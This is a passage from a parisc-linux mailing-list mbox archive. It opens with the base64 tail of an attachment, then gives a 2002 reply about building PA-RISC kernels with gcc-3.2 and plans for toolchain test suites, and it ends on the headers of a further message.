ObXXQj9gef7heO6xr0/MwPvBHedopZWDDycHGam/HhUDuDGUAl5nheBjCEEQkySvBzsxjEpn
WO6FXYobAwE5rjVOCtabZQFBDvsc0tF2mA/RYaI7EmaD/tLVOYNir7fwettZTnQWk4h4+YLN
pL367AXasF/eIqcMlljePm1y70Xg+3k3Q/56juPtv918jUumbO8l4AbNb3O2/w41/qg525mQ
GIJ4Zn+4pMzqF+Aymya+lVkrs4+/BxOSt5VZ/QJcZoEJ8ufXTVEw7lkJthL86HsciMzbyvOJ
1zmQ7lta5TS14m3F+3x5EjLzfuTbfJ8DAc8yK9xWuM8Xpix7P4Kt3uVAqK1NbaX6WZL05vb1
0Zc5kOu4bO+tYFvBPl+WQGLej2R3b3NohxAmAzRrrXhb8X6GBSCl5v2IeP+NuJjLOaR8AS/J
64ZxGYEyz514qFfBoMnBpCOsEhCYEcggMXW4/bQIbo8jvuh6i0R8zfGdv+YyZMMl116OvBJQ
JAjhnJnxKMLxvS+KGK/EKRKTakyCMHQd8l+Lh7pJTsnoHOsFrhXeTx2iZ3JmjsGZI6+GIgE9
HsTJCRWNwn+G7X11B/1CnBZFU6btbkx6CIzvjCbmS/GjjpntNB5NGLb3RQ/9QpwWedk2Y1ID
8DH0txA5e1VOYJp8LdFfG7+Ulkf/d9ffBKV4Y6dg9tiDH9I9g7KirakAn9kcHo3lZ0oqZ+GI
JM6eESgyhryp9+GEoGFCxqQF4OvQVyRMihGHZ47+mmN9X4PzwYsBdfZMM4xPHY71PVLHfDGU
ftGXzYw1MGbPYL94Z3pCv5GMKhyRGiIA7bmDEoTEwZBUt3mcQVwnpWVVzKZTGJSSBCrKJDDL
dVJvjeIDTdPiLkog+JMENOdhpzlpaprB7X1CrirGFtr9viFVlPAY0rsk94s8vNosjObbPCR5
ALdjkpEghsqyLI2g1jqNA1lJ6odcwQA2zYMshTRKRUIovw55GK24UdzLK9wK2yyDH8BbMF4w
aDObb5ui0K8T0sX9Er4oWbrs0rT5M4ZoSVzjENa6aKuAyWWSUiaYgOHTpC5pAIeuwgBb0UkT
k3xSMAr8u/mljkK93W6YoI+ovnlAqMD6wr4jfy36kICfKSC6BbSxoP+VWLqvFwDLGuCJNsdT
fxLj+xoPei8lAq3rZESiALoXCDb8jEt0GSSsTVDOJCazNVfTO+/P339ezjcAf02LXRJEAQfJ
zOWVYXY/n21nIajLDJqCHQ/f/bycf79dL6Cpptyspy2E/OdJk4CuJWyAad07Bs3vru7Z/0DL
s18yLe63oJaD8ivHUsO0qd49o4uJb1H0J0mwZs2PqGI4fon2payQP+cskbDHfvtcKqhm5FVt
ssBQOYOvxupfUr5V5yqY7TBm7wJ870vhGK8EFGlrf0R6MGwvkHD2Ky7Y7Cq3FjHoqogDML/i
5DlSzpvS0sC+iOxOuMlQujqgl1hfSAf5a0WPK1l+Jgl0K2jdu/+lWMIs5OnpmT2KMBtTZyFN
J8ZtFEniyBmFk/flVBi+FgbTTZfFJZeBD9ZiJ9mJdceLLgE/J0oRcxW8F6EYjbH4HRm0jsgY
U4GovmaInqF6xQ+4to34Rtxzf3Bx6devrj1peXLCSr00yTiq5xGN/4STjUPnEU7+CIN06hMU
8eqwOCHhFyceoHom8eAngngAnUk88SMU4slPUE7LdCTS5XrnzRvbzua7cEtjNG21f7a62it9
tT9bYe3RNNZeq6yLDlXmwHHah37Rsarnu4IkASPwX+UjeB+doP82igxdroQRCdJL0HBu3zj8
sVhpN7JZDJNbRI2RikIX+DmCMss8P1JQtGZUZCTfyUME+4cO9o+D6x0Xpg+UGpw2ZB5E051U
Yh5l0T/noJcDv5cgvZc9u8uu3Mu/O0jNOsjY2eVzNPL9Gfl9VPKSl7ACTV7PyOaBLLLPzuqB
3Y0fz+6BTI1nZvnApsV42T7wB6lnpYvAnEsepo3A//hn7YvC/Pin8g/gk+IVG9gxCfPMjezj
0uk9bUh4zo7ocan0XpxVZ2+tHZc870YHPWOP5rgUet4mv7FIdM5mv5E72rN3i43W3fSbBeFJ
S///mvyjm5mVQRYkBKqiJA/VHjP2XBNPPv3na3H7+j9/mlzlJKOsCmKB/vfknlSwnTCB3Ihp
Prmqo4njXP9//3+yvW+SaPJvcO/LQ93QzMlIOflf/9ekiWk+ua79JL8OaclebXJFGFf/aD42
6b1plHwjnryZ/Of//J8nf88rWhfpnhnE9UPmw4id5M+MuZbh27rd/8D+ek2S0cr7PItm83A+
3XY3W4Zxl7C3q7wgrkK69z4Hs60bLraz7qGSiVhz630Ow9ncdVfGnV+TKEoY/z9PQzJ1w9W6
uxXSVKGNgpUbzVZhd/MAaRgG8+1m4XeP1BxrxF46dFeEbDfdraZ6YBIXQJQBmzG3OZsszubz
YBtuoouTU0fBd+hvMybqReB93s7DRRDRlUFrmtW0OYdyt37opTSE/aqMQGS1DoJlZNxmaAtS
Mc6R+jal7AvdDSHTiBDjmaiilJF+vibTwDduePpXar8rQzHfrv2t+fOY5CG7UwckD4qQPRLO
wxVhjLo4Dbv9A8bLJ2nqRTxCkn0C4+888ml3W96JaVqCBC0XNJottqsXMeE//scw2f9kSJYm
ynQ2nU7p0mBLGhTlgwepQGvAu11slyTcbk3a3jEN57UlI+k0cqP11j2H3SQM2Q+Txvva0pZh
ptP5dLlZT823zNr0JxNRWaQp/w2TbncRuNHS7EBZsae9Jrc03JKV+TonBQTehjPFq5gQFFlO
a9aH19PldB1s1xfkP8xyddCq+W1Jwb6AlPDWJJguXOPl6lvfY99WeSXJE8ZgnyzoYmt0bf4E
5xN7eS+o28wTimsBTU1NxRUkHs25G4w9kQSMGP4iotFmaigaTkM2mvEwXNZpkiJntNhulnQ1
pSbFGZ3rxkuqr95n4i79+XJGTwtdXJbECzPiFSUjbTidRqDE+q9WUQIKLI+SnXdXsM7+ebpd
zsLpYvAJrGHIsdtwiSTuyp+u5t0TtIk92KXvNYyZDJc79dfhfBucxuU/NIwS62UYzam/GnSU
vx8dHBgjOY3nyyl1l4uDD0kpAWlijxfwDr7rR1N3bryDEAyvifmLfF7TLfX9aU+i2SBPc/A0
ehB6x/pIsJotN6HRR6K0rWOvTnY5SYGq2zUbVbbRM7ovvO1dlbDv79F9E8zd6YK4w88SLNef
tVkyJbWar87p8aIBST7RH5jcBGQeBpvzRlBowWCBamPrT+ck3BjvWhdRwxjkhaQh7H4wc0kU
GKTlaoDLbeQyNH5ojKVB2TIlkDDmQSv8oUU43c5Wq2BI1qgqMknY9XQbhLPecE+YRsqT32Ac
Wa3IfLkgpmD1dVvV5KkHW61Zp12TBSOqYRvIbkh576b3IAnbZUijyF/3ultQPnRlnn6iassm
gc5ep5SWHuvHYIAULdegi9XUjcLBO7S5eIsVXbvTKDpLd/JhB1TQZ58ZLfOQGtz0i6LxgKSC
FYzT0WKzMeSFsSmJvOoeULqz7WZjfBMfEstKDGpuyGwCQ794nngjjni+Isv5dmn0jISZQVyf
MgmdbVfhwpCOpsoZrdivmAkxXRrj+3846N7hehu6G/OL2K/5j+l2xtSwqfEEIZj2ocKEW678
NfHpJU0wGD7Uto2LjR6PWA7P1PGsg/pJUTOe0Ro01+elOyXrpW/om39XwwC8IHwre0nWpzar
xXoVrA0Bv6B2Pql2GY88Lhps9PAXdGX86BFVi65BlUEuRjay3Ew3vn8wcD2qYYE4MIn1gpSA
ucZMnel2FTxiQiqkXLEwk4aErmtOsYZK9ID8QkJCf7UNiMnI8yYYL1OhnEKdVmHdgDAj2/jK
V+lYFDUKklORhvIFVkaJFfWD6bwj9GUUod4GdubUHsgXpEXNZ3ZMGbjuxhQVpkF/MjsU4wj3
mrCesyIzf70xxP8Vk62zlMeTiuGgFbDl86KBHVvgYKDr1XaxNF6LVCVTR6yzsGEpYl1pMSDM
jrHMf/DA6QNj22obbld9EYKnWHdLmMFpYGemCFMOi+VgMiWZQGYwIEUbk64n7UOgOEjO5xnZ
btztbPCGYlZ3zyUqjJiIs9+fpcsepdRqTgMSLucmrkf8NI84Yc7QWEN9NNQ3ARuNmILhlGDj
Z8U6lxsErMOaX8pVAQwtfModRiScB+4Bp8yxceqSxXK9MAbuk5qIG4Gf/WgTblbzzaC+ZkPJ
5/WGuOu5OfYAOtEdhPRsVmQ625rTzieUjMe9B8y6I4t1dMwpdtoak9N+k2LTpe/P1jOTaSdN
NtE5vVn3MhdSTXoT61k6Yy/YwczxWbiZBT0BOVQmfz+nNz3iC9urF1lvt6z3Li+tl+Um3OeY
oOw7OR8/b7e+v9lMe8bXQDFLG/PQSGTdkU2KwnWP8SnNWatrd7n0w4vYvJ7HRng2RRJzYNYD
mWEaMAsI1SpOoFeG8/V6sV77Q/F9psl7QD1p1Gyms9nS7FsvMnu9gZMAtPmMzWinzxndkgKC
rjwQRNiYDCplyUyIwOjTjw8y8iuP2G5rZv8sV5Se04deYR+zOTbjmOsGbJRYXtJuRhydkpxp
59VqPfOJaUQ/38w+YkYfskP02UU0C1w670/bHhveHtFrfacbYyiTq+nMNFkftbOZsmD/MdrR
FVBv02Mm+wV1fT9czA2UmIb365wUx7p5KCg+3xC6Wm22PVTHh8cLDQcia8OLjOezVM5LJebV
dsvTjLgMBbskH+arvcrnc9ZCwMsHSWhepqLV7S9oQCPXHCjfky/oXQ92SX7H6Me4EMwMd+KL
J1ofyBH/6HD4ghlZN9iRkvhJmjRMMS7pfD2ny75d3hvh8EalJ70/bHC6A48gIwtd+SZmKbd3
pAnisNjxSZa7WjETMryUhx7Fe3R6upYU4M3segqz92m4JJf2sOscShfXqE+ozRdOA95M/525
1HmWm/uMtcUPqwbfZrbw8inB2ervUdV2SnNhaiR486yEaWCwnU43p72E73LpT6dYu5gd+Ijj
ZQyF9rTmer6L4/egyX7/KuvNVdNTToc3iFd4uTX0e1A+Okvkmcone2wt7mnNpKaPQrMsFuuV
SxZ9QX6tdhp6G2R7QmCX0+08WD0zcuHfgxX2/nXX0G8gPV/TRbAN1q7pL/33qeRGmRoexE5I
LizJwqcL8g4iucbSmzwX7XNU33DJ63IBWm/oBzvDzSVXY8+KJn3L2KUTs6KnOuubrWygrF+Q
timAPvJ7lmRJXHfTW9V/pfNco6goF53Pm8VyPg2MWI3LdFAjM/Vzein/+Iaw95qv5/5iZlon
j/TYpnnoxsGUWTnsqWAZRqvp1D3dcc/YhuGV8M5NlWRwf7Xdbk3rJfcAcVIE4GmA2KCoN/t9
UUc7YwCDV2rzsKMjicIgJO7idDd56Zj2mLRdTlB0ovKBuv77Wcx/ZqCHNz+HQy82EvBDQXqZ
4E3EYXGXw1zGXW2D5fPmBY9F8b2wT56OE3lkQfL09kA1GAoiMXav6SJksyMD4SM7roYj8Ot2
YD2lF17U8Z/evPXUGHzWOHskcO8zWc3Xy435ha/bOnkZHfbo/o1hf7zARjaUvRqvcG2ciuA7
Gqb62fW37oYxAkHZ6FMlfr8juR2pLyIKRW+MrqGn5IWXArdg5FkyLbGNFs8RE9VGHbeNGL9m
6+1m6gbBq0WpM/E5ks/MmN4sZmaMQ33rVW0u05tBEwFdL6fu4O0qwZHVbMneffvIRFB/C20A
LCC/mE+IyxRX2KcJG2tzUPHzuevPjaVW9s5c/YgXjqbTcOnOlk90/cci1B8dxi4cov7yUfF1
UeqcWHxJXwyM0Wy5JcFsesiYjLs8Apfph8A3A7GfF8yumtsZfN74U5du6PrwKR8iHz4v5gs2
tV2bVtmrxk+hNvgzCeth0AEifx4y6+1V2uesYPmXqShgzq4iGR+owZO73NDpdNPrjbIvk8Vq
FlDT6ay7FrvSpiR8BwmJGJ/dXnjGC9cpedQas79KSIr42V9PmSII571XE99MtgtGCjMOHn6q
Aub5r10S+Ov5/ND6eCKeXn4hCQIKAsV4OWPabjN44k7puygMfdZbVn12VzTYe5rSn1eb9Txa
zQ+CbNhQqaQmoP7MfOJyY8X9wVjRaY9VFPrzKTnTXnhakz+hNx9Vg/xHpmpz59sFmRqb+i5D
E3Vq2HOGR+SQwufmE0CMlTl33+glV28utp2UR7cpBm1XgRtG/mL4OjYU5/cainP2ltUXx+wc
dSWfu6T02BxTO0V0koJw5Qab+bxndL7Wqfzm6+jqBDl9/pz5da8K5nlsXDpLO3seqWM2k+3F
3/TXojC2VL3rNAIv2mP1YdIKnDFgvGiq9LKsBO9nYf+VHkWmg8C6py4z/pbLRxLDvGjS8/ox
4Mmo80cHCZ6BqiRVkxCYPS2mMAF/R2EDpydXjwYUvMudxuJ03d63nQrovEiavrN9gCeJfKHv
1ucSX2z4xAgpGyNo7D1kM7tUcNnvYo4wRvqwM/bUYtr5Ng72tObRR56/K81jw1OlFPzuXRBv
7mp4uXlqlc3llU2cXVLVvNpHMJ4HF0kfXcJL+tT64QuV0FsGtSImFjlfn9QJpDplAlo1RQt+
2Cn739ztOw56GgeYnNM7j/GLMv2wiUKmsBdBT4peFHX7uinw2+2qPqGv+MwWmLBZ+LPNnFw6
y0fT5pcLunk0xm/EROkQMJLWlN5y/0OwWmz8nmA9oZ4ei/Lb8RSJkGucW+41T0dJ+t63t8u9
HhadqnDXge9T8nhCvSNxeZ53ELSxDfyQLs11gzO0x6OxdReIpXtCQYweavd0WpoMQs26NeCI
bt15FJyft4b/PqRdC2QdLqbrsK8uTiiSUUP69gm5quIkp8/TLWfnwx9hk+F5qXA+9tbDiy1a
2JXp38/KNM5c8VTSiNcuTNukE6d08B3jb5GHV5vFJROQjaB5rU61PrV3oyR/Rzu3P7ZH7YEy
PHfRRQNv3n0WnadVlXXlW7WDsTPsd6wt6qBOrud3V/fsf6ayMCSjolzTdjsw5tvNlJBg9kwF
8KK9qW+RqPzMRORAul6c+tKdz9wgigY/+fvpn2Ry8+xmFm6W7C3MD7tA1tVLhsCdkdpirz3o
2+Ui8H33rJiHl0z5zvGonRTfWRCwedz2Eit+52SteNJM4UJxIBIRgfHLn5567jMhy6m7Mffl
hXwLFA8sjkLCNMpiw6i2MLsTpoecq5Lvfl7Ov9+uF6YuuYiHSZgl09mU9dVokLn9nCDYF2+V
GLXbn9ERobGAZJ7QYoTvK5pt/NW8twBw2f72yNLYmY6RF6dneVbvCIosA3dozY8kZKbMkpJl
cH4XulAnILPptHXvnt0HXpGL/FT3uNzwd2ZPQRvtLjNGvWhd+iVd5sytLOeMIKf6zik34aUG
lEv1hpjM1n2/2qWk+YWW2usE8Qwp4whVZ2b2Bp1H561a8h8Ka2OxXoZhGJHXieHzNffpQIZL
yu57k9EkWLMZkLqel8cHYY40TLOEsRPpZO/y01s+cIrR043mU3/hPxI5ILuVn4q9xBxpDcMu
DTZkOuwOMsGZ38KJLTCQMHs6XLlLYowg4+14Ojee/M0neaBIaJbkUcHkZU7m03WwOvzQxxzk
r5y5vX8Hlef5TBFBIM16PaXbmZnd4+zdVL44onwRBQR65XnaVZG/LO4gvKIhXIhCf0u3PQ8a
SMRBNwmCzdY1Da+XRqedUOSvmQE/P0bt9bH6rxlOnp5GwJcwQaV0G8z8cDCf4hu5hNqjIZu9
zpbLR77s5G6tcwe1U5mkHgt6e2ryD8N2DAMP5FIh5jmucAdC0Kar2Wo5888KgDntJxjjfBIx
JDflZj1t38MkCsXL+NIdTWeMSO9x4nUiZOW9+Sku6vp7bhzHxTyBiKfd8b4ZlF+jM5Ndvjx9
vmyTMZRWVVs2CfR7frJzsOgtHz0eZcEDI6Oi4mfVprThvFpvN0u6mvY13u/jGNXXRXwcnRrz
7wPbRcfuzUAB9kx4yt1qO+hDq2ng9jJrPRICjGln06Blpk0CxhTx6Xq92AwHzIvpQNEJvCYW
VuKabqnvT5cHXVJoBOWG/Oyuw1m0iQb26Bgpbs7QyI8GViPMCGT/g9R9y1nkz9fGu9B71kmz
DOZykGe2F0MPexQaIFWbc+7401kUTFfGI49MIh4bLUY8BJ2LR1h4Qcakgs7CgJHAmI0eZFEH
ckQ1pKlbzRbLufFerxqQ+GvERd1AikggV7hcPm9Lx2tN3CeHLsQt9XzoCrP7+YzNEXt2JbDa
y+odDNbBktCpGV3w2Bj16p1mTwdWPzUe/B687pffKobRr880EVHnqUIUvwAPv89gCPGXvk9n
7sku9Bor8Ywlswv1up335+8/L+ebKX63e7VNhtuh3qS3wAalomxEDNo08qNoa6oQ25l+V8vL
YBElxXtwjDxnPe6dD1Ev6ldne5cvuIL8lMcC1436vpbtGP3BM33xYKPX5+Y70RPeOnjovTjq
Ljs6PMvJ9nuT8a8pmbmb58v4M07subgbq8tyyl0cTGkG83C6eFYPO3et98394/IYo+VBzWMZ
/3AjcZ/dh18403rE/nsTx/p4sbYnl9su1uuLXRL0newYuftGTEM7dD3/rhbAnvLZovbbF04I
X5Z/FmMyeCGb9W37/IV6tnAFU7/d9RfQYI7OaV+SHXBmO2XUDQ/CSPRajZLbzwt/uljNF0Yn
f0b2l4t2Jv4kfAe4mEU6im203ETrYGgC80U59gWwm3A9Y31luKH4p97oeTpe8rTMnT3gmERf
zFlvmNLh6/JHuo/y1+ttGG0RQm7760iaxYG/DaL1rD/+4G7kqHviyV9LHNfFVwL1Clc0X2xW
28X8eZIsHDPAf9YaBG5N11FECTUPkno8A5IIlLlNCr9l3CfTxZxuZsOVjnP6ivFln0N3G9Cp
uXz5mkRLPIsyb/7zcrWeE9efn+6HZ525KFDdyqNilv4ymG62Q+EJC9Gx5luyXfnm6VmHa7/n
H9B4vhJ4cvXyieDox8+Ggd/WKaUlbN3drlz/1UPhoyHXjyWr64L67mKa86TZtK6TfOfRqioq
2O07jRbz+XKwdPrEoZKch8zSEBtOadDwpuh2PvXnQc/QQz4S8vUxgWclcn88uxUwjb+g6uo+
M41WjBomIc5IgHVS+8uTW5lsl2m70+Yb662b6Xo5VBSPrZ2eMY5c2NH85ChxVj73w6zt4lOU
nqEbfzv3N53wXGqEaZ5rAJ0xbJwbNHT2+HBu+NCjw8gzfDGn45DO9sKfNZY8e6y4mP5/WYTI
i9Tt6Drykkbn66Ms3t6KbDK4ZC9zXiKfyDNKVC/6duTfzUYWL+DJWT5vwvlmu4geO8oF1zl6
3gbq0RfhX7KMgrw4/+9tF8glJvCn8+BhnI7T1v51nIR9Qyqt2WiX9Cebp1I3HTkN7RneowNl
9BJHzYvH0JMbWy5D15rNvNgADfCVhM8NeT/PBn2ELZhB60+5AE+r+SejoKO0rWMIE89JCmsF
2zXTSFvjtURga5LyXNAh2W6pOaV9mWV4RoDwI9IXEjZHyvk8K1ytyHy5eGTH82lRPONYR/TQ
2UcO9kLcEAJdBbpIEQfJ2enmnoqbLYsiZaM8e+3iAWYvhBlQy+ceJjM0Ii96eKN4RSEPczck
7nxqfN/rs9m9dHXsGSvW6yMfJF02n7f+DPbR9AbmR/xyb7ZJ+GmH2tnbiMdY+NJ01qeGBy6T
xn6axZ7KOcu7NY7ZdcZK29Na8JE9rkccUSNsNpX6KyiG5+ydHt6f9lTxMam6q9nLf/aD5TRY
mSb9Y9rvzJH/HkjMNxhRxmWDvnHRcEdmSZqYSaQbBoxew1WJ7DZMmCjTFZn568Fe4dcbFOf5
n9SGMpHaIGCvEq2DC61WPGmoPOmkCtl7MRblTcLVoe8uadSblj2qDhMmIQvIxR8R318fc0hx
G+iBgRm4ATazdUQOpwpn5fN6WgMGjHP8Q1mRqqWsDZtZb2dBb1Jo2qtikQWEb+n608Vivjzo
G4K4ZEM24Wo7ptftUZvt/IN4tFEJrnZumX7eLkMaRb65zPPsOXBSguZzV2sCI4VJtVcf4/FC
d+Kr5sXnnFfOeoEYfj7T5ZzOF+vhQi7XOkx1MEOJGbZP27r8eUgV8xloTeaz/sueyHQQymG1
gu+FGfh6GvoDTp3KUX/GQomh18zu69LFcjuN1gf9Q5Fku2QaYjVIsfTsvAucVFKfRZsN00ah
+eUVjdlMnlElnG5mK9OLCV+T5AHMONig0uZc/ObBNtxcYhiN6uuINPDvvNEzqT2fgHZluoiP
nGS5nvd2pT49usplAE7eqAXxYk8yJU1ns9lied4MW637AScVp+azJZlS2huE+lOIk8MubyYS
0QrLaLP0g+kj6z8vGmbZd1Z3cgnkcxSFbHDpbZgajMIZqW5ZF4oiMHqTqmHytgYropd9ukeF
jNtl0Yzphm3Yi2UHXrHGSdPAyDGbsXnnzDw+SM44Mjmnddd0EQZmvK9KfsM4bzBsvvJJsKE9
D2R/0Ffvx3/JbRbYKEbWq+Gp0wZxQxAgwEchn89sxTqx6WK/ZUOSOHQocJcbpgiOkAPWX5ke
lmJBZsv5fGuapU+aDycNAFbvp7cwk6FzNtScFeQk6B/EJGdEAzW9WIPDq5c5ps2Tr3z0n60Y
URdHFrg5i4X+iEJ/ySYdgdnrTqdQgnOh2K9y8OjMmZm2isxfnsyb1MOrThibB9SfumbCgraJ
Nt5dUDdF5sMa3moe+NuZOZ6fNhWYBvaa3+BwqGW48H3zVDH1xozGpE1hqWa+jFYL84y18w2F
ZFcRyBm+8aP1ZtWLXeC9TDBIdrIwirbzmSnUZ5gQYEoaatFlVCaruekAY5OzqtOabGJHTR4p
Yot+5vOOvIF16NW6v1B8lqUiWuHKTHRUEsymwdrMAfDIRJIM3c9PrHWetD1OGQedOJIodOma
GsqAzX8bWJ8rSaXV+iLa0s1q1cspwPptI8kpxs1VxHTxZjXwmV3aznjERUf3fElx7c9WwXyx
GPzmuE0ALiTOLBEoEqyX4Wa5Dky5aDyalc2DEh2fDQB05hqPxKQKIcxIBpsEy2i5moaXiPZg
pkHGJsL34u9lzAMlmlma5KAsN0FAtxsyfOAM24BP0euSBglJNb6QrqOAGrIrD8UTjbDhYjZd
m0w7z4oQ79RUbc6jTURjM3dJtqu1geukcfH7MhfOHevPGdtB9vmnh9uAbqJpf8iKigoE/PM2
mDILPDT9XBcY5NsyBG4RwRWm07dhuN6YL2AqtvU0WG58/0CLDnTRZrNwF0tzCuTrVw2ni/XG
NXn4pBfitY6GqOanvkRpcdcmkLBmuXGnwWrR0yAnDBZPTFaLXIkN0z+su278s4yaV5slRr/c
zH3iL12TqK+0SoQlL7SC+Do4BGbKRJgSU4TBLggImyPLNwnnwXS68A0Ocb7DxLnI1UNs6u1u
Q9MmPc+OkGTuDV7SVRAEUxr5ZrrZkUwKQ4B2IEBhtHW38/4THSm5/0HTc71w10xlDRbPTQMF
BAx8oR3t1nQGh9Sa+QgRjBip9ZVc+9MFXdJpb5Z63DTxuk6hRJOGq3DaO9EEFnUMmVnRwCXB
1BgIzjJPXm6EnO3HOO2n4G+uRmHxnkVJKyKjW5itTTdh78DXRxwU79+KqcNC/jWtmJPj9ZNq
+0ztfFp7nqcwTnWN05btBYTmJXbsI9LxKsbtwTW1P/BNPe1hOtvvAx+V8K9a0M18SuYv24bF
Z8FsAtwUbCoMoRGb5XQ1e2Q1JOSsnfrBNNiYIXKno+wuJZShCMEjaULgkDVmIi5mpj3zoti4
xyb5J6fp53WCcye9Lw3VPe06fywj76lZ4Ft1My4ee8ZUbvN+diGzceReIlQNziNMyv0CAPZJ
7MtYEdap86YiwW3/WAj56eyzIZK+4QEenxfL1Wy5MM/oyyNzST8ugAFrZgTSpdlnaj4TFGzd
zrbubGHaXI8twt7CqrMYo8XPN9tZ5K42vbiLvkt3Lx50o3AWbmZ9m6afI6dkbZJdxtnnLvz1
dOHOerfZKEaahmEHPrH/B7S30eD8ZVCDRn2KktVyu12YVglf+QgL1gn5no/FZhVNp88679Cg
mQoiCWfBFHZbnWIcMKgogQOrteuG5qGCLw0ogc+Awwo/z5gScRnXz1I/7LUOX2rhrqYrQk88
JoRuuV2tFkxHHiWDjl8Kow1kaTVEM28zr4wfaqlWptvFJgjpBXLBn9aWZ23GYtIn9nfyyHim
7hZBQMzgNOPz5OC2Xm5m062564IfRg8Z1cGzwiSF3Q16C3i3vscMRzb74LYak8PtJlr3Iiwe
PW4R+MtMTZomMH//HK0oGwbnvenUXg296+2WYV+aCvtW9mnCiO665gLfWauAjERsHsx6MKzD
LUM2Me3eHE1LelFTmpryMeX1mEkyVEaPBOWfjsV8gr1PsefSRMoZGZ5HnhPOtIMov5dEM4/9
9Vyj15cNTH4Z+c4eAZ9eLnxysDl7HHnZUHHuePCUFn9dmMv5JzGdudH2lM/iMW158vCIJ7Xw
WdoUITD5aD8JYsKmPz0dAbTlg93nkMw3PiEb893fiSWaAJlrmoJrg9lEFXCC8WhuOqNeYK2+
aEXh5AbU59i+LzZuRzVm2YtWRcu6FPsD88VbCush4ZRR2fQ6/Z5tXjCuOBk+U8L4RmbL3it/
EHt4fDWrRSfJuadhtlrQpU/OSeFure+XjxePHlk0nske3ZEws8PM04PJxxszDGSMmnJbUnfo
WkTXq+3C7KmXHGQgzhrc2v6DJxaT6Xa1DZk2tuPQc8ahRzm4mtOAhEtjoc4OW3bYOnfYegeD
U+P96S//cq6f5GRHv/hL/fzd5389OBfiuN/llMwjvNOX//73Hz9/98OP59JLqw4YS/kYapwG
TBdLujVzbWANFqdp90zVdlq9GK9+5FPXKzYyMRWByJqfPn/+y+ezbaxHzZ7XEhWUTZuH7MPl
5JhEYRASd3GuXro4dT7/+MNPn3/8/m+97I2jdZvPP/63AW7Puw/i3dz1PgfzzZoGU79PPYge
UsTzCbPp+4d/MRRqT+tnd+Vvt2tzmf6+Yuqcjyl3PNvAMgymfdX6qOl4Jvs9j49w3DhOQrlu
F23X4aq3a98r4Xuair0RG7+Y+bw1I8oel6FTBtD5g7wYuriQ+WEwn/dS0z01uMKaZJIndawo
8TncTJeRH5wtx2CDcdOr5rwIovlsE84vscHohKT97fu//vzlS0/Kn5SmR7YDXZo9+lf0vhSJ
UterZUTn8/OZ8kqD5vIU/8uXM0fpF1HsdeS4+Ndysp6ryB4bY4aL8i+KjxnsSLn412YkOI+3
CMfznXil4i6nVe+lklAEr7hkEa5CctZi5dPJYS7+4vwYePPFB16RiyNsgjKr67P4d3HcbQ5h
xPl5wvPOVo6FL0gUzQ84z9l2+jPPcUe8yadmJN+ldOxP1VZWBsHMVcizDzD1BskW35ggeT8y
9BJe1jNs2kcGi0cslKFv9Yif9DxjFsNOPUcOXhS1dJ7wnGFtHYaBPuG0QjbPjvqbYNOGEPV/
g+gICNj1yqJu/tfkR8hxO5l98/8HnnXik92oCwA=
--------------060405050208000907040807--




From - Thu Nov 08 21:23:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.2
Date: Sat, 13 Jul 2002 14:54:19 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20020713185419.GA9983@systemhalted>
References: <20020712073628.GB8838@tausq.org> <20020713052016.GA10191@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621501 10432 80.91.229.3 (22 Nov 2014 01:58:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 13 12:55:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id EDA17482B
	for <parisc-linux@parisc-linux.org>; Sat, 13 Jul 2002 12:55:27 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17TS2H-0002be-00; Sat, 13 Jul 2002 14:54:29 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Randolph Chung <randolph@tausq.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020713052016.GA10191@tausq.org>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (3% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15435

> 
> tausq@a500:~$ uname -a
> Linux version 2.4.18-pa54 (tausq@a500) (gcc version 3.2 20020711 (experimental)) #2 SMP Fri Jul 12 22:04:23 PDT 2002
> tausq@a500:~$
> 
> I'm quite perplexed about why it doesn't seem to always work for
> others... i didn't really have to do anything special with either gcc or
> the kernel to get it to boot.
> 
> randolph

I think the issue is one of quality assurance. We don't have a strict
set of criteria for testing/validating/certifying that a given snapshot
of a given toolchain, in a given configuration, will work.

I'm trying to address some of these things by building a cross-check
test-suite to test the toolchain weekly or nightly. This all came out
of a talk I had with Matt Taggart :) who is another toolchain-junkie.

When I get more work done I'll post.

c.


From - Thu Nov 08 21:23:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Alden Smith <falden@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] locales held back
